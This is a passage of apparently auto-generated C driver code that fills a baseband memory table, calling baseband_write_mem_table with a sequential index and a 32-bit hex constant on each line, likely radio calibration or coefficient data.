baseband_write_mem_table(NULL, (uint32_t)0xb75, (uint32_t)0xb2a01f);
baseband_write_mem_table(NULL, (uint32_t)0xb76, (uint32_t)0x517274f);
baseband_write_mem_table(NULL, (uint32_t)0xb77, (uint32_t)0x3273a91);
baseband_write_mem_table(NULL, (uint32_t)0xb78, (uint32_t)0xefbb2e3);
baseband_write_mem_table(NULL, (uint32_t)0xb79, (uint32_t)0x43a004);
baseband_write_mem_table(NULL, (uint32_t)0xb7a, (uint32_t)0x4e126a4);
baseband_write_mem_table(NULL, (uint32_t)0xb7b, (uint32_t)0x3217a5e);
baseband_write_mem_table(NULL, (uint32_t)0xb7c, (uint32_t)0xec03337);
baseband_write_mem_table(NULL, (uint32_t)0xb7d, (uint32_t)0xfd4a002);
baseband_write_mem_table(NULL, (uint32_t)0xb7e, (uint32_t)0x4a9e600);
baseband_write_mem_table(NULL, (uint32_t)0xb7f, (uint32_t)0x31bba2c);
baseband_write_mem_table(NULL, (uint32_t)0xb80, (uint32_t)0xe86339b);
baseband_write_mem_table(NULL, (uint32_t)0xb81, (uint32_t)0xf65e017);
baseband_write_mem_table(NULL, (uint32_t)0xb82, (uint32_t)0x4716563);
baseband_write_mem_table(NULL, (uint32_t)0xb83, (uint32_t)0x315b9f9);
baseband_write_mem_table(NULL, (uint32_t)0xb84, (uint32_t)0xe4e7410);
baseband_write_mem_table(NULL, (uint32_t)0xb85, (uint32_t)0xef7e044);
baseband_write_mem_table(NULL, (uint32_t)0xb86, (uint32_t)0x437a4cf);
baseband_write_mem_table(NULL, (uint32_t)0xb87, (uint32_t)0x30f79c7);
baseband_write_mem_table(NULL, (uint32_t)0xb88, (uint32_t)0xe18b494);
baseband_write_mem_table(NULL, (uint32_t)0xb89, (uint32_t)0xe8aa089);
baseband_write_mem_table(NULL, (uint32_t)0xb8a, (uint32_t)0x3fce442);
baseband_write_mem_table(NULL, (uint32_t)0xb8b, (uint32_t)0x308f996);
baseband_write_mem_table(NULL, (uint32_t)0xb8c, (uint32_t)0xde5b527);
baseband_write_mem_table(NULL, (uint32_t)0xb8d, (uint32_t)0xe1e60e6);
baseband_write_mem_table(NULL, (uint32_t)0xb8e, (uint32_t)0x3c0e3bd);
baseband_write_mem_table(NULL, (uint32_t)0xb8f, (uint32_t)0x3027965);
baseband_write_mem_table(NULL, (uint32_t)0xb90, (uint32_t)0xdb575c8);
baseband_write_mem_table(NULL, (uint32_t)0xb91, (uint32_t)0xdb3e159);
baseband_write_mem_table(NULL, (uint32_t)0xb92, (uint32_t)0x383e341);
baseband_write_mem_table(NULL, (uint32_t)0xb93, (uint32_t)0x2fbb934);
baseband_write_mem_table(NULL, (uint32_t)0xb94, (uint32_t)0xd883676);
baseband_write_mem_table(NULL, (uint32_t)0xb95, (uint32_t)0xd4b21e3);
baseband_write_mem_table(NULL, (uint32_t)0xb96, (uint32_t)0x345e2cd);
baseband_write_mem_table(NULL, (uint32_t)0xb97, (uint32_t)0x2f4b904);
baseband_write_mem_table(NULL, (uint32_t)0xb98, (uint32_t)0xd5e7730);
baseband_write_mem_table(NULL, (uint32_t)0xb99, (uint32_t)0xce4a283);
baseband_write_mem_table(NULL, (uint32_t)0xb9a, (uint32_t)0x3072261);
baseband_write_mem_table(NULL, (uint32_t)0xb9b, (uint32_t)0x2ed78d5);
baseband_write_mem_table(NULL, (uint32_t)0xb9c, (uint32_t)0xd37f7f6);
baseband_write_mem_table(NULL, (uint32_t)0xb9d, (uint32_t)0xc806339);
baseband_write_mem_table(NULL, (uint32_t)0xb9e, (uint32_t)0x2c7a1fe);
baseband_write_mem_table(NULL, (uint32_t)0xb9f, (uint32_t)0x2e638a6);
baseband_write_mem_table(NULL, (uint32_t)0xba0, (uint32_t)0xd1538c6);
baseband_write_mem_table(NULL, (uint32_t)0xba1, (uint32_t)0xc1ee404);
baseband_write_mem_table(NULL, (uint32_t)0xba2, (uint32_t)0x28761a4);
baseband_write_mem_table(NULL, (uint32_t)0xba3, (uint32_t)0x2deb877);
baseband_write_mem_table(NULL, (uint32_t)0xba4, (uint32_t)0xcf6399f);
baseband_write_mem_table(NULL, (uint32_t)0xba5, (uint32_t)0xbc064e3);
baseband_write_mem_table(NULL, (uint32_t)0xba6, (uint32_t)0x2466152);
baseband_write_mem_table(NULL, (uint32_t)0xba7, (uint32_t)0x2d6f849);
baseband_write_mem_table(NULL, (uint32_t)0xba8, (uint32_t)0xcdb3a80);
baseband_write_mem_table(NULL, (uint32_t)0xba9, (uint32_t)0xb6525d6);
baseband_write_mem_table(NULL, (uint32_t)0xbaa, (uint32_t)0x204e109);
baseband_write_mem_table(NULL, (uint32_t)0xbab, (uint32_t)0x2cf381c);
baseband_write_mem_table(NULL, (uint32_t)0xbac, (uint32_t)0xcc43b68);
baseband_write_mem_table(NULL, (uint32_t)0xbad, (uint32_t)0xb0d26db);
baseband_write_mem_table(NULL, (uint32_t)0xbae, (uint32_t)0x1c2e0c9);
baseband_write_mem_table(NULL, (uint32_t)0xbaf, (uint32_t)0x2c737ef);
baseband_write_mem_table(NULL, (uint32_t)0xbb0, (uint32_t)0xcb17c55);
baseband_write_mem_table(NULL, (uint32_t)0xbb1, (uint32_t)0xab927f3);
baseband_write_mem_table(NULL, (uint32_t)0xbb2, (uint32_t)0x180a092);
baseband_write_mem_table(NULL, (uint32_t)0xbb3, (uint32_t)0x2bef7c3);
baseband_write_mem_table(NULL, (uint32_t)0xbb4, (uint32_t)0xca2fd47);
baseband_write_mem_table(NULL, (uint32_t)0xbb5, (uint32_t)0xa69291c);
baseband_write_mem_table(NULL, (uint32_t)0xbb6, (uint32_t)0x13de063);
baseband_write_mem_table(NULL, (uint32_t)0xbb7, (uint32_t)0x2b6b797);
baseband_write_mem_table(NULL, (uint32_t)0xbb8, (uint32_t)0xc98fe3c);
baseband_write_mem_table(NULL, (uint32_t)0xbb9, (uint32_t)0xa1d2a55);
baseband_write_mem_table(NULL, (uint32_t)0xbba, (uint32_t)0xfae03e);
baseband_write_mem_table(NULL, (uint32_t)0xbbb, (uint32_t)0x2ae376c);
baseband_write_mem_table(NULL, (uint32_t)0xbbc, (uint32_t)0xc92ff32);
baseband_write_mem_table(NULL, (uint32_t)0xbbd, (uint32_t)0x9d5ab9d);
baseband_write_mem_table(NULL, (uint32_t)0xbbe, (uint32_t)0xb7e021);
baseband_write_mem_table(NULL, (uint32_t)0xbbf, (uint32_t)0x2a57741);
baseband_write_mem_table(NULL, (uint32_t)0xbc0, (uint32_t)0xc91802a);
baseband_write_mem_table(NULL, (uint32_t)0xbc1, (uint32_t)0x992acf3);
baseband_write_mem_table(NULL, (uint32_t)0xbc2, (uint32_t)0x74a00d);
baseband_write_mem_table(NULL, (uint32_t)0xbc3, (uint32_t)0x29cb718);
baseband_write_mem_table(NULL, (uint32_t)0xbc4, (uint32_t)0xc944120);
baseband_write_mem_table(NULL, (uint32_t)0xbc5, (uint32_t)0x9546e57);
baseband_write_mem_table(NULL, (uint32_t)0xbc6, (uint32_t)0x316002);
baseband_write_mem_table(NULL, (uint32_t)0xbc7, (uint32_t)0x293b6ee);
baseband_write_mem_table(NULL, (uint32_t)0xbc8, (uint32_t)0xc9b8215);
baseband_write_mem_table(NULL, (uint32_t)0xbc9, (uint32_t)0x91aefc6);
baseband_write_mem_table(NULL, (uint32_t)0xbca, (uint32_t)0xfee2000);
baseband_write_mem_table(NULL, (uint32_t)0xbcb, (uint32_t)0x28ab6c6);
baseband_write_mem_table(NULL, (uint32_t)0xbcc, (uint32_t)0xca70307);
baseband_write_mem_table(NULL, (uint32_t)0xbcd, (uint32_t)0x8e6b141);
baseband_write_mem_table(NULL, (uint32_t)0xbce, (uint32_t)0xfab2007);
baseband_write_mem_table(NULL, (uint32_t)0xbcf, (uint32_t)0x281769e);
baseband_write_mem_table(NULL, (uint32_t)0xbd0, (uint32_t)0xcb6c3f5);
baseband_write_mem_table(NULL, (uint32_t)0xbd1, (uint32_t)0x8b772c6);
baseband_write_mem_table(NULL, (uint32_t)0xbd2, (uint32_t)0xf682017);
baseband_write_mem_table(NULL, (uint32_t)0xbd3, (uint32_t)0x2783676);
baseband_write_mem_table(NULL, (uint32_t)0xbd4, (uint32_t)0xcca84de);
baseband_write_mem_table(NULL, (uint32_t)0xbd5, (uint32_t)0x88d7453);
baseband_write_mem_table(NULL, (uint32_t)0xbd6, (uint32_t)0xf25a02f);
baseband_write_mem_table(NULL, (uint32_t)0xbd7, (uint32_t)0x26eb64f);
baseband_write_mem_table(NULL, (uint32_t)0xbd8, (uint32_t)0xce205c0);
baseband_write_mem_table(NULL, (uint32_t)0xbd9, (uint32_t)0x868b5e8);
baseband_write_mem_table(NULL, (uint32_t)0xbda, (uint32_t)0xee36050);
baseband_write_mem_table(NULL, (uint32_t)0xbdb, (uint32_t)0x264f629);
baseband_write_mem_table(NULL, (uint32_t)0xbdc, (uint32_t)0xcfdc69a);
baseband_write_mem_table(NULL, (uint32_t)0xbdd, (uint32_t)0x8497783);
baseband_write_mem_table(NULL, (uint32_t)0xbde, (uint32_t)0xea1a079);
baseband_write_mem_table(NULL, (uint32_t)0xbdf, (uint32_t)0x25b3604);
baseband_write_mem_table(NULL, (uint32_t)0xbe0, (uint32_t)0xd1cc76c);
baseband_write_mem_table(NULL, (uint32_t)0xbe1, (uint32_t)0x82fb924);
baseband_write_mem_table(NULL, (uint32_t)0xbe2, (uint32_t)0xe6020ab);
baseband_write_mem_table(NULL, (uint32_t)0xbe3, (uint32_t)0x25135df);
baseband_write_mem_table(NULL, (uint32_t)0xbe4, (uint32_t)0xd3f8834);
baseband_write_mem_table(NULL, (uint32_t)0xbe5, (uint32_t)0x81bbac9);
baseband_write_mem_table(NULL, (uint32_t)0xbe6, (uint32_t)0xe1f60e5);
baseband_write_mem_table(NULL, (uint32_t)0xbe7, (uint32_t)0x24735bb);
baseband_write_mem_table(NULL, (uint32_t)0xbe8, (uint32_t)0xd6588f2);
baseband_write_mem_table(NULL, (uint32_t)0xbe9, (uint32_t)0x80cfc70);
baseband_write_mem_table(NULL, (uint32_t)0xbea, (uint32_t)0xddf6127);
baseband_write_mem_table(NULL, (uint32_t)0xbeb, (uint32_t)0x23d3598);
baseband_write_mem_table(NULL, (uint32_t)0xbec, (uint32_t)0xd8ec9a5);
baseband_write_mem_table(NULL, (uint32_t)0xbed, (uint32_t)0x803be19);
baseband_write_mem_table(NULL, (uint32_t)0xbee, (uint32_t)0xd9fe172);
baseband_write_mem_table(NULL, (uint32_t)0xbef, (uint32_t)0x232f575);
baseband_write_mem_table(NULL, (uint32_t)0xbf0, (uint32_t)0xdbaca4c);
baseband_write_mem_table(NULL, (uint32_t)0xbf1, (uint32_t)0x8003fc3);
baseband_write_mem_table(NULL, (uint32_t)0xbf2, (uint32_t)0xd6121c4);
baseband_write_mem_table(NULL, (uint32_t)0xbf3, (uint32_t)0x2287553);
baseband_write_mem_table(NULL, (uint32_t)0xbf4, (uint32_t)0xde98ae5);
baseband_write_mem_table(NULL, (uint32_t)0xbf5, (uint32_t)0x802016c);
baseband_write_mem_table(NULL, (uint32_t)0xbf6, (uint32_t)0xd23221f);
baseband_write_mem_table(NULL, (uint32_t)0xbf7, (uint32_t)0x21e3532);
baseband_write_mem_table(NULL, (uint32_t)0xbf8, (uint32_t)0xe1a8b71);
baseband_write_mem_table(NULL, (uint32_t)0xbf9, (uint32_t)0x8098313);
baseband_write_mem_table(NULL, (uint32_t)0xbfa, (uint32_t)0xce62281);
baseband_write_mem_table(NULL, (uint32_t)0xbfb, (uint32_t)0x2137511);
baseband_write_mem_table(NULL, (uint32_t)0xbfc, (uint32_t)0xe4e0bf0);
baseband_write_mem_table(NULL, (uint32_t)0xbfd, (uint32_t)0x81644b7);
baseband_write_mem_table(NULL, (uint32_t)0xbfe, (uint32_t)0xcaa22ea);
baseband_write_mem_table(NULL, (uint32_t)0xbff, (uint32_t)0x208f4f1);
baseband_write_mem_table(NULL, (uint32_t)0xc00, (uint32_t)0xe834c5f);
baseband_write_mem_table(NULL, (uint32_t)0xc01, (uint32_t)0x8288658);
baseband_write_mem_table(NULL, (uint32_t)0xc02, (uint32_t)0xc6f235b);
baseband_write_mem_table(NULL, (uint32_t)0xc03, (uint32_t)0x1fe34d2);
baseband_write_mem_table(NULL, (uint32_t)0xc04, (uint32_t)0xeba0cc0);
baseband_write_mem_table(NULL, (uint32_t)0xc05, (uint32_t)0x84047f2);
baseband_write_mem_table(NULL, (uint32_t)0xc06, (uint32_t)0xc34e3d4);
baseband_write_mem_table(NULL, (uint32_t)0xc07, (uint32_t)0x1f334b3);
baseband_write_mem_table(NULL, (uint32_t)0xc08, (uint32_t)0xef28d11);
baseband_write_mem_table(NULL, (uint32_t)0xc09, (uint32_t)0x85d0987);
baseband_write_mem_table(NULL, (uint32_t)0xc0a, (uint32_t)0xbfc2453);
baseband_write_mem_table(NULL, (uint32_t)0xc0b, (uint32_t)0x1e83496);
baseband_write_mem_table(NULL, (uint32_t)0xc0c, (uint32_t)0xf2bcd53);
baseband_write_mem_table(NULL, (uint32_t)0xc0d, (uint32_t)0x87ecb15);
baseband_write_mem_table(NULL, (uint32_t)0xc0e, (uint32_t)0xbc464d9);
baseband_write_mem_table(NULL, (uint32_t)0xc0f, (uint32_t)0x1dd3479);
baseband_write_mem_table(NULL, (uint32_t)0xc10, (uint32_t)0xf660d84);
baseband_write_mem_table(NULL, (uint32_t)0xc11, (uint32_t)0x8a58c9a);
baseband_write_mem_table(NULL, (uint32_t)0xc12, (uint32_t)0xb8de566);
baseband_write_mem_table(NULL, (uint32_t)0xc13, (uint32_t)0x1d2345c);
baseband_write_mem_table(NULL, (uint32_t)0xc14, (uint32_t)0xfa10da6);
baseband_write_mem_table(NULL, (uint32_t)0xc15, (uint32_t)0x8d10e15);
baseband_write_mem_table(NULL, (uint32_t)0xc16, (uint32_t)0xb58a5f9);
baseband_write_mem_table(NULL, (uint32_t)0xc17, (uint32_t)0x1c6f441);
baseband_write_mem_table(NULL, (uint32_t)0xc18, (uint32_t)0xfdc0db8);
baseband_write_mem_table(NULL, (uint32_t)0xc19, (uint32_t)0x9014f87);
baseband_write_mem_table(NULL, (uint32_t)0xc1a, (uint32_t)0xb24a693);
baseband_write_mem_table(NULL, (uint32_t)0xc1b, (uint32_t)0x1bbb426);
baseband_write_mem_table(NULL, (uint32_t)0xc1c, (uint32_t)0x174db9);
baseband_write_mem_table(NULL, (uint32_t)0xc1d, (uint32_t)0x93610ed);
baseband_write_mem_table(NULL, (uint32_t)0xc1e, (uint32_t)0xaf1e733);
baseband_write_mem_table(NULL, (uint32_t)0xc1f, (uint32_t)0x1b0340c);
baseband_write_mem_table(NULL, (uint32_t)0xc20, (uint32_t)0x524dab);
baseband_write_mem_table(NULL, (uint32_t)0xc21, (uint32_t)0x96f1248);
baseband_write_mem_table(NULL, (uint32_t)0xc22, (uint32_t)0xac0a7d9);
baseband_write_mem_table(NULL, (uint32_t)0xc23, (uint32_t)0x1a4f3f3);
baseband_write_mem_table(NULL, (uint32_t)0xc24, (uint32_t)0x8c8d8d);
baseband_write_mem_table(NULL, (uint32_t)0xc25, (uint32_t)0x9ac5396);
baseband_write_mem_table(NULL, (uint32_t)0xc26, (uint32_t)0xa90e884);
baseband_write_mem_table(NULL, (uint32_t)0xc27, (uint32_t)0x19973da);
baseband_write_mem_table(NULL, (uint32_t)0xc28, (uint32_t)0xc64d60);
baseband_write_mem_table(NULL, (uint32_t)0xc29, (uint32_t)0x9ed94d6);
baseband_write_mem_table(NULL, (uint32_t)0xc2a, (uint32_t)0xa62a935);
baseband_write_mem_table(NULL, (uint32_t)0xc2b, (uint32_t)0x18df3c2);
baseband_write_mem_table(NULL, (uint32_t)0xc2c, (uint32_t)0xff0d23);
baseband_write_mem_table(NULL, (uint32_t)0xc2d, (uint32_t)0xa329607);
baseband_write_mem_table(NULL, (uint32_t)0xc2e, (uint32_t)0xa35e9eb);
baseband_write_mem_table(NULL, (uint32_t)0xc2f, (uint32_t)0x18233ab);
baseband_write_mem_table(NULL, (uint32_t)0xc30, (uint32_t)0x1364cd8);
baseband_write_mem_table(NULL, (uint32_t)0xc31, (uint32_t)0xa7b172a);
baseband_write_mem_table(NULL, (uint32_t)0xc32, (uint32_t)0xa0aaaa6);
baseband_write_mem_table(NULL, (uint32_t)0xc33, (uint32_t)0x176b395);
baseband_write_mem_table(NULL, (uint32_t)0xc34, (uint32_t)0x16c0c7f);
baseband_write_mem_table(NULL, (uint32_t)0xc35, (uint32_t)0xac7183d);
baseband_write_mem_table(NULL, (uint32_t)0xc36, (uint32_t)0x9e12b66);
baseband_write_mem_table(NULL, (uint32_t)0xc37, (uint32_t)0x16af37f);
baseband_write_mem_table(NULL, (uint32_t)0xc38, (uint32_t)0x1a04c17);
baseband_write_mem_table(NULL, (uint32_t)0xc39, (uint32_t)0xb161940);
baseband_write_mem_table(NULL, (uint32_t)0xc3a, (uint32_t)0x9b92c2a);
baseband_write_mem_table(NULL, (uint32_t)0xc3b, (uint32_t)0x15f336a);
baseband_write_mem_table(NULL, (uint32_t)0xc3c, (uint32_t)0x1d24ba3);
baseband_write_mem_table(NULL, (uint32_t)0xc3d, (uint32_t)0xb681a33);
baseband_write_mem_table(NULL, (uint32_t)0xc3e, (uint32_t)0x992acf3);
baseband_write_mem_table(NULL, (uint32_t)0xc3f, (uint32_t)0x1537356);
baseband_write_mem_table(NULL, (uint32_t)0xc40, (uint32_t)0x2024b22);
baseband_write_mem_table(NULL, (uint32_t)0xc41, (uint32_t)0xbbc9b14);
baseband_write_mem_table(NULL, (uint32_t)0xc42, (uint32_t)0x96dedc0);
baseband_write_mem_table(NULL, (uint32_t)0xc43, (uint32_t)0x1477342);
baseband_write_mem_table(NULL, (uint32_t)0xc44, (uint32_t)0x2300a94);
baseband_write_mem_table(NULL, (uint32_t)0xc45, (uint32_t)0xc13dbe3);
baseband_write_mem_table(NULL, (uint32_t)0xc46, (uint32_t)0x94aee90);
baseband_write_mem_table(NULL, (uint32_t)0xc47, (uint32_t)0x13bb330);
baseband_write_mem_table(NULL, (uint32_t)0xc48, (uint32_t)0x25b09fc);
baseband_write_mem_table(NULL, (uint32_t)0xc49, (uint32_t)0xc6d1ca1);
baseband_write_mem_table(NULL, (uint32_t)0xc4a, (uint32_t)0x929af65);
baseband_write_mem_table(NULL, (uint32_t)0xc4b, (uint32_t)0x12fb31e);
baseband_write_mem_table(NULL, (uint32_t)0xc4c, (uint32_t)0x2838959);
baseband_write_mem_table(NULL, (uint32_t)0xc4d, (uint32_t)0xcc85d4c);
baseband_write_mem_table(NULL, (uint32_t)0xc4e, (uint32_t)0x909f03c);
baseband_write_mem_table(NULL, (uint32_t)0xc4f, (uint32_t)0x123f30d);
baseband_write_mem_table(NULL, (uint32_t)0xc50, (uint32_t)0x2a908ad);
baseband_write_mem_table(NULL, (uint32_t)0xc51, (uint32_t)0xd251de5);
baseband_write_mem_table(NULL, (uint32_t)0xc52, (uint32_t)0x8ec3117);
baseband_write_mem_table(NULL, (uint32_t)0xc53, (uint32_t)0x117f2fc);
baseband_write_mem_table(NULL, (uint32_t)0xc54, (uint32_t)0x2cb87f7);
baseband_write_mem_table(NULL, (uint32_t)0xc55, (uint32_t)0xd839e6a);
baseband_write_mem_table(NULL, (uint32_t)0xc56, (uint32_t)0x8cff1f4);
baseband_write_mem_table(NULL, (uint32_t)0xc57, (uint32_t)0x10bf2ed);
baseband_write_mem_table(NULL, (uint32_t)0xc58, (uint32_t)0x2eb073a);
baseband_write_mem_table(NULL, (uint32_t)0xc59, (uint32_t)0xde35edd);
baseband_write_mem_table(NULL, (uint32_t)0xc5a, (uint32_t)0x8b5b2d5);
baseband_write_mem_table(NULL, (uint32_t)0xc5b, (uint32_t)0xfff2de);
baseband_write_mem_table(NULL, (uint32_t)0xc5c, (uint32_t)0x3074676);
baseband_write_mem_table(NULL, (uint32_t)0xc5d, (uint32_t)0xe441f3d);
baseband_write_mem_table(NULL, (uint32_t)0xc5e, (uint32_t)0x89d33b7);
baseband_write_mem_table(NULL, (uint32_t)0xc5f, (uint32_t)0xf3f2cf);
baseband_write_mem_table(NULL, (uint32_t)0xc60, (uint32_t)0x32045ab);
baseband_write_mem_table(NULL, (uint32_t)0xc61, (uint32_t)0xea55f8a);
baseband_write_mem_table(NULL, (uint32_t)0xc62, (uint32_t)0x886349c);
baseband_write_mem_table(NULL, (uint32_t)0xc63, (uint32_t)0xe7f2c2);
baseband_write_mem_table(NULL, (uint32_t)0xc64, (uint32_t)0x33604db);
baseband_write_mem_table(NULL, (uint32_t)0xc65, (uint32_t)0xf075fc3);
baseband_write_mem_table(NULL, (uint32_t)0xc66, (uint32_t)0x8717583);
baseband_write_mem_table(NULL, (uint32_t)0xc67, (uint32_t)0xdbb2b5);
baseband_write_mem_table(NULL, (uint32_t)0xc68, (uint32_t)0x3480406);
baseband_write_mem_table(NULL, (uint32_t)0xc69, (uint32_t)0xf699fea);
baseband_write_mem_table(NULL, (uint32_t)0xc6a, (uint32_t)0x85e366b);
baseband_write_mem_table(NULL, (uint32_t)0xc6b, (uint32_t)0xcfb2a9);
baseband_write_mem_table(NULL, (uint32_t)0xc6c, (uint32_t)0x356c32e);
baseband_write_mem_table(NULL, (uint32_t)0xc6d, (uint32_t)0xfcbdffd);
baseband_write_mem_table(NULL, (uint32_t)0xc6e, (uint32_t)0x84cb755);
baseband_write_mem_table(NULL, (uint32_t)0xc6f, (uint32_t)0xc3b29e);
baseband_write_mem_table(NULL, (uint32_t)0xc70, (uint32_t)0x3620253);
baseband_write_mem_table(NULL, (uint32_t)0xc71, (uint32_t)0x2ddffe);
baseband_write_mem_table(NULL, (uint32_t)0xc72, (uint32_t)0x83d3840);
baseband_write_mem_table(NULL, (uint32_t)0xc73, (uint32_t)0xb7b293);
baseband_write_mem_table(NULL, (uint32_t)0xc74, (uint32_t)0x3698177);
baseband_write_mem_table(NULL, (uint32_t)0xc75, (uint32_t)0x8f9fec);
baseband_write_mem_table(NULL, (uint32_t)0xc76, (uint32_t)0x82f792c);
baseband_write_mem_table(NULL, (uint32_t)0xc77, (uint32_t)0xabb289);
baseband_write_mem_table(NULL, (uint32_t)0xc78, (uint32_t)0x36dc09a);
baseband_write_mem_table(NULL, (uint32_t)0xc79, (uint32_t)0xf05fc7);
baseband_write_mem_table(NULL, (uint32_t)0xc7a, (uint32_t)0x8237a19);
baseband_write_mem_table(NULL, (uint32_t)0xc7b, (uint32_t)0x9f7280);
baseband_write_mem_table(NULL, (uint32_t)0xc7c, (uint32_t)0x36ebfbd);
baseband_write_mem_table(NULL, (uint32_t)0xc7d, (uint32_t)0x1509f91);
baseband_write_mem_table(NULL, (uint32_t)0xc7e, (uint32_t)0x8193b06);
baseband_write_mem_table(NULL, (uint32_t)0xc7f, (uint32_t)0x937277);
baseband_write_mem_table(NULL, (uint32_t)0xc80, (uint32_t)0x36bfee1);
baseband_write_mem_table(NULL, (uint32_t)0xc81, (uint32_t)0x1af9f48);
baseband_write_mem_table(NULL, (uint32_t)0xc82, (uint32_t)0x810bbf4);
baseband_write_mem_table(NULL, (uint32_t)0xc83, (uint32_t)0x87726f);
baseband_write_mem_table(NULL, (uint32_t)0xc84, (uint32_t)0x365be07);
baseband_write_mem_table(NULL, (uint32_t)0xc85, (uint32_t)0x20d5eee);
baseband_write_mem_table(NULL, (uint32_t)0xc86, (uint32_t)0x809fce1);
baseband_write_mem_table(NULL, (uint32_t)0xc87, (uint32_t)0x7b7268);
baseband_write_mem_table(NULL, (uint32_t)0xc88, (uint32_t)0x35c3d30);
baseband_write_mem_table(NULL, (uint32_t)0xc89, (uint32_t)0x2699e83);
baseband_write_mem_table(NULL, (uint32_t)0xc8a, (uint32_t)0x804fdcf);
baseband_write_mem_table(NULL, (uint32_t)0xc8b, (uint32_t)0x6f7262);
baseband_write_mem_table(NULL, (uint32_t)0xc8c, (uint32_t)0x34f7c5c);
baseband_write_mem_table(NULL, (uint32_t)0xc8d, (uint32_t)0x2c41e07);
baseband_write_mem_table(NULL, (uint32_t)0xc8e, (uint32_t)0x801bebc);
baseband_write_mem_table(NULL, (uint32_t)0xc8f, (uint32_t)0x63725c);
baseband_write_mem_table(NULL, (uint32_t)0xc90, (uint32_t)0x33f7b8c);
baseband_write_mem_table(NULL, (uint32_t)0xc91, (uint32_t)0x31cdd7b);
baseband_write_mem_table(NULL, (uint32_t)0xc92, (uint32_t)0x8003fa8);
baseband_write_mem_table(NULL, (uint32_t)0xc93, (uint32_t)0x57b257);
baseband_write_mem_table(NULL, (uint32_t)0xc94, (uint32_t)0x32c3ac2);
baseband_write_mem_table(NULL, (uint32_t)0xc95, (uint32_t)0x3739cdf);
baseband_write_mem_table(NULL, (uint32_t)0xc96, (uint32_t)0x8004094);
baseband_write_mem_table(NULL, (uint32_t)0xc97, (uint32_t)0x4bb252);
baseband_write_mem_table(NULL, (uint32_t)0xc98, (uint32_t)0x31639fd);
baseband_write_mem_table(NULL, (uint32_t)0xc99, (uint32_t)0x3c81c33);
baseband_write_mem_table(NULL, (uint32_t)0xc9a, (uint32_t)0x802417f);
baseband_write_mem_table(NULL, (uint32_t)0xc9b, (uint32_t)0x3ff24f);
baseband_write_mem_table(NULL, (uint32_t)0xc9c, (uint32_t)0x2fd393f);
baseband_write_mem_table(NULL, (uint32_t)0xc9d, (uint32_t)0x41a1b79);
baseband_write_mem_table(NULL, (uint32_t)0xc9e, (uint32_t)0x805c268);
baseband_write_mem_table(NULL, (uint32_t)0xc9f, (uint32_t)0x33f24c);
baseband_write_mem_table(NULL, (uint32_t)0xca0, (uint32_t)0x2e17888);
baseband_write_mem_table(NULL, (uint32_t)0xca1, (uint32_t)0x4699ab1);
baseband_write_mem_table(NULL, (uint32_t)0xca2, (uint32_t)0x80b0351);
baseband_write_mem_table(NULL, (uint32_t)0xca3, (uint32_t)0x283249);
baseband_write_mem_table(NULL, (uint32_t)0xca4, (uint32_t)0x2c337d9);
baseband_write_mem_table(NULL, (uint32_t)0xca5, (uint32_t)0x4b699dc);
baseband_write_mem_table(NULL, (uint32_t)0xca6, (uint32_t)0x811c437);
baseband_write_mem_table(NULL, (uint32_t)0xca7, (uint32_t)0x1c7247);
baseband_write_mem_table(NULL, (uint32_t)0xca8, (uint32_t)0x2a23732);
baseband_write_mem_table(NULL, (uint32_t)0xca9, (uint32_t)0x50098f9);
baseband_write_mem_table(NULL, (uint32_t)0xcaa, (uint32_t)0x81a451c);
baseband_write_mem_table(NULL, (uint32_t)0xcab, (uint32_t)0x10b246);
baseband_write_mem_table(NULL, (uint32_t)0xcac, (uint32_t)0x27f3694);
baseband_write_mem_table(NULL, (uint32_t)0xcad, (uint32_t)0x547d80a);
baseband_write_mem_table(NULL, (uint32_t)0xcae, (uint32_t)0x82445ff);
baseband_write_mem_table(NULL, (uint32_t)0xcaf, (uint32_t)0x4f246);
baseband_write_mem_table(NULL, (uint32_t)0xcb0, (uint32_t)0x259f5ff);
baseband_write_mem_table(NULL, (uint32_t)0xcb1, (uint32_t)0x58c170f);
baseband_write_mem_table(NULL, (uint32_t)0xcb2, (uint32_t)0x82fc6e0);
baseband_write_mem_table(NULL, (uint32_t)0xcb3, (uint32_t)0xff97246);
baseband_write_mem_table(NULL, (uint32_t)0xcb4, (uint32_t)0x232b574);
baseband_write_mem_table(NULL, (uint32_t)0xcb5, (uint32_t)0x5ccd60a);
baseband_write_mem_table(NULL, (uint32_t)0xcb6, (uint32_t)0x83cc7be);
baseband_write_mem_table(NULL, (uint32_t)0xcb7, (uint32_t)0xfedb246);
baseband_write_mem_table(NULL, (uint32_t)0xcb8, (uint32_t)0x20974f3);
baseband_write_mem_table(NULL, (uint32_t)0xcb9, (uint32_t)0x60a94fa);
baseband_write_mem_table(NULL, (uint32_t)0xcba, (uint32_t)0x84b889a);
baseband_write_mem_table(NULL, (uint32_t)0xcbb, (uint32_t)0xfe23248);
baseband_write_mem_table(NULL, (uint32_t)0xcbc, (uint32_t)0x1deb47c);
baseband_write_mem_table(NULL, (uint32_t)0xcbd, (uint32_t)0x64513e1);
baseband_write_mem_table(NULL, (uint32_t)0xcbe, (uint32_t)0x85b8974);
baseband_write_mem_table(NULL, (uint32_t)0xcbf, (uint32_t)0xfd6b249);
baseband_write_mem_table(NULL, (uint32_t)0xcc0, (uint32_t)0x1b27411);
baseband_write_mem_table(NULL, (uint32_t)0xcc1, (uint32_t)0x67c12be);
baseband_write_mem_table(NULL, (uint32_t)0xcc2, (uint32_t)0x86cca4b);
baseband_write_mem_table(NULL, (uint32_t)0xcc3, (uint32_t)0xfcb324c);
baseband_write_mem_table(NULL, (uint32_t)0xcc4, (uint32_t)0x184f3b0);
baseband_write_mem_table(NULL, (uint32_t)0xcc5, (uint32_t)0x6af5194);
baseband_write_mem_table(NULL, (uint32_t)0xcc6, (uint32_t)0x87f8b1f);
baseband_write_mem_table(NULL, (uint32_t)0xcc7, (uint32_t)0xfbff24f);
baseband_write_mem_table(NULL, (uint32_t)0xcc8, (uint32_t)0x156335b);
baseband_write_mem_table(NULL, (uint32_t)0xcc9, (uint32_t)0x6df5062);
baseband_write_mem_table(NULL, (uint32_t)0xcca, (uint32_t)0x893cbef);
baseband_write_mem_table(NULL, (uint32_t)0xccb, (uint32_t)0xfb47253);
baseband_write_mem_table(NULL, (uint32_t)0xccc, (uint32_t)0x1267310);
baseband_write_mem_table(NULL, (uint32_t)0xccd, (uint32_t)0x70b8f29);
baseband_write_mem_table(NULL, (uint32_t)0xcce, (uint32_t)0x8a94cbd);
baseband_write_mem_table(NULL, (uint32_t)0xccf, (uint32_t)0xfa93257);
baseband_write_mem_table(NULL, (uint32_t)0xcd0, (uint32_t)0xf5f2d2);
